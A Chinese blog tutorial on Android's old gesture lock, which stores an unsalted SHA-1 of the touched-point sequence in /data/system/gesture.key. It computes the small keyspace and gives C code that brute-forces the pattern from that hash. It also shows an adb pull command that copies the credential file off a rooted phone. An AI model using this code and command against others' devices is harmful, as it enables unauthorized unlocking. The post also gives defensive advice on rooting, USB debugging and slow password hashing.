zoukankan      html  css  js  c++  java
  • Andriod手势密码破解

            ★ 引子

             之前在Freebuf上看到一片文章讲Andriod的手势密码加密原理,觉得比较有意思,所以就写了一个小程序试试。

            ★ 原理

               Android的手势密码加密原理很简单:

               先给屏幕上的每一个点编号(一般是 3 X 3):

               00,01,02

               03,04,05

               06,07,08

               注意这里的数字都是十六进制。

               假设我沿着左边和下边画了一个 L 字,则手势的点排列顺序 sequence 是 00,03,06,07,08。

               然后计算密文 C = SHA-1(sequence),然后将结果写入到 /data/system/gesture.key 中。

               按照上面的操作,则密文 C 应该是:c8c0b24a15dc8bbfd411427973574695230458f0,160 bit 的 SHA-1 散列值。

               不过严格来讲这个过程不叫加密,叫散列,因为SHA-1只是一个数据摘要算法,并不是加密算法。

     

            ★ 破解原理

           看到了吧,安卓机的手势加密非常简单,而且非常脆弱。为什么说很脆弱,主要是密钥空间太少!简单计算一下:

           手势密码最少要连 4 个点,最多可以连 9 个,忽略掉某些特殊的排列,用排列组合公式计算一下,结果是:(注:P(n, m) 表示从 n 个元素中选 m 个出来排列的情况总数)

            P(9, 4) + P(9, 5) + ... ... + P(9, 9) = 985824

            满打满算,还不到 100 万,密钥空间实在太少了,对于计算机穷举,那是半秒钟的事。

            有了上面的原理,那么破解程序的制作也就很简单了:

            1. 一个SHA-1 Hash模块。如果你了解密码学中的 Hash 算法,那么可以自己写,当然也可以去 OpenSSL, Crypto++ 之类的库中去找。

            2. 一个计算排列组合的模块。这个是关键,所以我花多点口水讲讲。

            注:以下的算法均用 C 实现。

     

             考虑到要用到排列组合,那么我就想到了两个已经知道的东西:

             1. 计算 P(n ,m),可以用如下的方式计算:(注:C(n, m) 表示从 n 个元素中选 m 个出来组合的情况总数)

             P(n, m) = P(m, m) * C(n, m)

             2. 计算 P(m, m) 就是在计算 m 个元素的全排列总数,之前在上算法课的时候有讲到这个算法,那么就可以直接拿过来用。

             那么还需要自己构建一个计算组合的算法。

     

             计算全排列 P(m, m):

             假设计算集合 {1,2,3} 的全排列,可以这么做:先取一个元素,比如 1,再从剩下的集合 {2,3} 中取 2,那么还剩下 {3}。按照这种搞法,{1,2,3} 的全排列就是:

             1 {2, 3}  ---->      1,2  {3}      1,3  {2}

             2 {1, 3}  ---->      2,1  {3}      2,3  {1}

             3 {2, 1}  ---->      3,2  {1}      3,1  {2}

             到此为止,算法的思路已经明确了:依次将集合中的每一个元素和第一个元素交换,然后递归进行计算。下面给出代码:

    typedef unsigned char uint8;
    
    
    #define swap(a, b)     
    {                      
        uint8 t;           
                           
        t = a;             
        a = b;             
        b = t;             
    }
    
    
    void permute(uint8 *p, int n, int m)
    {
        int i;
    
        if(n == m)
        {
            for(i = 0; i <= m; i++)
                printf("%02X ", p[i]);
    
            printf("
    ");
        }
        else
        {
            for(i = n; i <= m; i++)
            {
                swap(p[n], p[i]);
                permute(p, n + 1, m);
                swap(p[n], p[i]);
            }
        }
    }
    

             注:n,m 都是从下标为 0 开始的。        

     

             计算组合 C(n, m):

             一开始我想了好久都没思路,后来仿照全排列的算法,运用递归的方式搞定。看来分治思想还是很重要的。

             假设有集合 {1,2,3,4},要从中选 2 个,列出所有的组合可能,那么可以这么做:

             先从集合中取出一个元素,比如取出 1,则剩下 {2,3,4},然后从剩下的集合  {2,3,4} 中取出一个元素,例如取出 2,这时就得到了一种组合情况 1,2,其他情况同理。

             {1,2,3,4} ---->    1 {2,3,4} ------>   {1,2}    {1,3}   {1,4}

             {2,3,4} -------->     2 {3,4}  --------->   {2,3}    {3,4}

             {3,4} ------------>     3 {4} -------------->    {3,4}

             可以看出,每次取一个元素,然后对剩余元素进行组合。这样,组合算法的大概思路就有了:

             反向从集合中选出一个元素,放到临时数组 q 中,然后递归调用组合算法,直到 m = 1,即只需要选一个元素为止。

    void combine(uint8 *p, uint8 *q, int n, int m, int s)    // s 为选出来的序列长度
    {
        int i, j;
    
        for(i = n; i >= m; i--)
        {
            q[m - 1] = p[i - 1];
    
            if(m > 1)
            {
                combine(p, q, i - 1, m - 1, s);
            }
            else
            {
                for(j = 0; j < s; j++)
                    printf("%02X ", q[j]);
    
                printf("
    ");
            }
        }
    }
    

              计算排列 P(n, m):

              有了前面两个算法,计算 P(n, m) 就变得很简单了,直接把全排列的算法嵌入到组合算法中即可。

            ★ 破解程序

               有了上面的铺垫,编写破解程序就很简单了,下面就直接把代码贴出来。

    #define swap(a, b)     
    {                      
        uint8 t;           
                           
        t = a;             
        a = b;             
        b = t;             
    }
    
    
    static int crack_permute(uint8 *p, int n, int m, int *ct, const uint8 *md)
    {
        int i;
        uint8 cal_md[SHA1_DIGEST_SIZE];
    
        if(n == m)
        {
            (*ct)++;
    
            sha1_hash(p, m, cal_md);
    
            if(memcmp(cal_md, md, SHA1_DIGEST_SIZE) == 0)
            {
                printf("
    The gesture found!
    
    The gesture is :");
    
                for(i = 0; i < m; i++)
                    printf("%02X ", p[i]);
    
                printf("
    
    Try %d times!
    ", (*ct));
    
                return 1;
            }
        }
        else
        {
            for(i = n; i <= m; i++)
            {
                swap(p[n], p[i]);
    
                if(crack_permute(p, n + 1, m, ct, md))
                    return 1;
    
                swap(p[n], p[i]);
            }
        }
    
        return 0;
    }
    
    
    
    static int crack_combine(uint8 *p, uint8 *q, int n, int m, int s, int *ct, const uint8 *md)
    {
        int i, j;
        uint8 r[NUM];
    
        for(i = n; i >= m; i--)
        {
            q[m - 1] = p[i - 1];
    
            if(m > 1)
            {
                if(crack_combine(p, q, i - 1, m - 1, s, ct, md))
                    return 1;
            }
            else
            {
                for(j = 0; j < s; j++)
                    r[j] = q[j];
    
                if(crack_permute(r, 0, s - 1, ct, md))
                    return 1;
            }
        }
    
        return 0;
    }
    
    
    void crack_main(const uint8 *md)
    {
        int ct, ret;
        int m, n;
        uint8 q[NUM];
        uint8 p[NUM] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
    
        ct = 0;
        n = NUM;
    
        for(m = 4; m <= n; m++)
        {
            if((ret = crack_combine(p, q, n, m, m, &ct, md)) == 1)
                break;
        }
    
        if(ret == 0)
            printf("
    Gesture not found!
    ");
    }
    

             注:ct 是统计尝试的次数,md 是从文件中读到的散列值,NUM 是宏定义:#define NUM    9 。

           程序中的SHA-1是我自己写的,函数原型是:void sha1_hash(const uint8 *input, const size_t len, uint8 *digest);

           只要 crack_combine 搜索到手势序列,返回 1,搜索结束。

          

           上面的 crack_permute 和 crack_combine 两个函数都是根据前面两个算法改的。程序中,crack_permute 函数被 crack_combine 函数调用,用于计算每一种组合的全排列。在 crack_permute 函数中,调用 SHA-1 摘要算法计算每个手势序列的散列值,然后与传入的 md 进行比较,一旦比较成功则立即返回。

            为了避免篇幅太长,上面只列出了部分主要代码,想要全部的话点【这里】。程序的话我没有写文件读取的模块,需要的话可以自己加上去。

            ★ 总结

                安卓手势密码的破解,需要拿到 gesture.key 文件(命令:adb pull /data/system/gesture.key gesture.key),要防范此类攻击,要么手机不要 root,要么 root 了之后不要打开 USB Debug 模式,不过可惜的是很多人对操作系统的权限没有什么概念,总是在最高权限下运行,这样被黑的机率就会高很多 :(

                安卓的手势密码之所以能被快速破解,密钥空间小是最主要的原因,所以推广一下,在其他场合下,密码尽量还是设长一点比较保险。如果在编写程序中涉及到密码验证环节,最好使用超慢算法,比如 PBKDF2 或者 bcrypt,这样可以降低暴力破解的速度。

      

     版权声明
    原创博文,转载必须包含本声明,保持本文完整,并以超链接形式注明作者Starrybird和本文原始地址:http://www.cnblogs.com/starrybird/p/4418257.html

  • 相关阅读:
    山寨 《寻找房祖名》
    css3 弹性效果上下翻转demo
    CSS3 Hover 动画特效
    判断一个字符串通过变化字符的位置,是否可以组成回文
    获取多个字符串中的共同字符
    转换为回文的步数
    IOS中图片的一些处理方法
    python django的一点笔记
    一个图片切割的例子
    一个批量修改文件夹中文件名的命令
  • 原文地址:https://www.cnblogs.com/starrybird/p/4418257.html
Copyright © 2011-2022 走看看